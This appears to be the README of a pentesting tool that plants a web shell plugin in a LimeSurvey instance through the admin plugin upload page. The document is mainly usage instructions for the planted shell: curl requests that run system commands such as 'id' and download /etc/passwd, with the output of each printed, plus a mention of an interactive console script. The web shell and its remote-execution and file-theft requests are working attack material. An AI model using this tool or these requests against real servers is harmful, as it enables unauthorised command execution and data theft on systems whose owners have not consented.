LimeSurvey webshell plugin for RCE

A webshell plugin and interactive shell for pentesting a LimeSurvey application.

Features

• Webshell plugin for LimeSurvey.
• Execute system commands via an API with ?action=exec.
• Download files from the remote system to your attacking machine with ?action=download.

Usage

Requirements: You need to have the credentials of the admin account of the LimeSurvey instance.

Step 1: Upload the webshell plugin

Go to "Configuration --> plugins" page, at http://localhost:10080/index.php/admin/pluginmanager/sa/index, and click on "Upload & install":

Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1/upload/plugins/WebShell/webshell.php with action=exec&cmd=id:

$ curl -X POST 'http://localhost:10080/upload/plugins/WebShell/webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}

You can also access it by a GET request from a browser:

Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://localhost:10080/upload/plugins/WebShell/webshell.php with action=download&cmd=/etc/passwd:

$ curl -X POST 'http://127.0.0.1/upload/plugins/WebShell/webshell.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

You can also download a remote file from a browser with a GET request :

Step 3: The interactive console

When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.

demo.mp4

References

• https://manual.limesurvey.org/Plugin_autoactivation